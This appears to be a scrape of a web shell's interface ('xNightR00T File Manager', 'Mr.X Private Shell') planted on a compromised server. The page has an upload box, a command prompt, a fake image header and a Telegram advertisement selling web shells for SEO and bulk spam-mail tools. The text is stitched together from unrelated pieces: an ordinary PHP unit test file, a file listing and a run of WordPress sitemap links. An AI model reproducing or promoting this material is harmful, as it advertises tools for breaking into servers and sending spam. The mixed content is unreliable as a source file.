xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Acl\Db;

use ZendServer\FS\FS;
use Configuration\MapperAbstractTest;

require_once 'tests/bootstrap.php';

class MapperGroupsTest extends MapperAbstractTest
{
    protected $testedTable = 'GUI_LDAP_GROUPS';

    public function testFindAllMappedRoles()
    {
        $roles = $this->getTestedMapper()->findAllMappedRoles();
        self::assertInternalType('array', $roles);
        self::assertArrayHasKeys(array('administrator', 'developer'), $roles);
        self::assertArrayValues(array('rnd-il', 'rnd-il-devs'), $roles);
    }

    public function testFindAllMappedApplications()
    {
        $applications = $this->getTestedMapper()->findAllMappedApplications();
        self::assertInternalType('array', $applications);
        self::assertArrayHasKeys(array('app1', 'app2', 'app3'), $applications);
        self::assertArrayValues(array('app-devs', 'app3-devs'), $applications);
    }

    public function testSetRoleMapping()
    {
        self::assertEquals(1, $this->getTestedMapper()->setRoleMapping('unknown-role', 'group'));
        $roles = $this->getTestedMapper()->findAllMappedRoles();
        self::assertArrayHasKeys(array('administrator', 'developer', 'unknown-role'), $roles);
        self::assertArrayValues(array('rnd-il', 'rnd-il-devs', 'group'), $roles);
        self::assertEquals(1, $this->getTestedMapper()->setRoleMapping('unknown-role', 'group2'));
        $roles = $this->getTestedMapper()->findAllMappedRoles();
        self::assertArrayHasKeys(array('administrator', 'developer', 'unknown-role'), $roles);
        self::assertArrayValues(array('rnd-il', 'rnd-il-devs', 'group2'), $roles);
    }

    public function testSetAppMapping()
    {
        self::assertEquals(1, $this->getTestedMapper()->setApplicationMapping('new-app', 'group'));
        $applications = $this->getTestedMapper()->findAllMappedApplications();
        self::assertArrayHasKeys(array('app1', 'app2', 'app3', 'new-app'), $applications);
        self::assertArrayValues(array('app-devs', 'app3-devs', 'group'), $applications);
        self::assertEquals(1, $this->getTestedMapper()->setRoleMapping('new-app', 'group2'));
        $applications = $this->getTestedMapper()->findAllMappedApplications();
        self::assertArrayHasKeys(array('app1', 'app2', 'app3', 'new-app'), $applications);
        self::assertArrayValues(array('app-devs', 'app3-devs', 'group2'), $applications);
    }
    /*
     * (non-PHPdoc)
     * @see \Configuration\MapperAbstractTest::sqlGetContents()
     */

    protected function sqlGetContents()
    {
        $basepath = __DIR__;
        return file_get_contents(FS::createPath(ZEND_SERVER_GUI_PATH, 'utils', 'sqls', 'gui_sqlite_create_database.sql'));
    }

    /**
     * @return MapperGroups
     */
    protected function getTestedMapper()
    {
        if ($this->testedMapper) return $this->testedMapper;

        $this->testedMapper = new MapperGroups();
        return $this->testedMapper;
    }

    protected function getRows()
    {
        /// disable fixtures
        return array(
            'admin' => "'administrator', 'rnd-il',".MapperGroups::LINK_TYPE_ROLE,
            'developer' => "'developer', 'rnd-il-devs',".MapperGroups::LINK_TYPE_ROLE,
            'app1' => "'app1', 'app-devs',".MapperGroups::LINK_TYPE_APPLICATION,
            'app2' => "'app2', 'app-devs',".MapperGroups::LINK_TYPE_APPLICATION,
            'app3' => "'app3', 'app3-devs',".MapperGroups::LINK_TYPE_APPLICATION
        );
    }

    protected function getTableColumns()
    {
        /// disable fixtures
        return "NAME,LDAP_GROUP,LINK_TYPE";
    }
}

Filemanager

Name Type Size Permission Actions
MapperGroupsTest.php File 3.53 KB 0644
MapperTest.php File 2.17 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml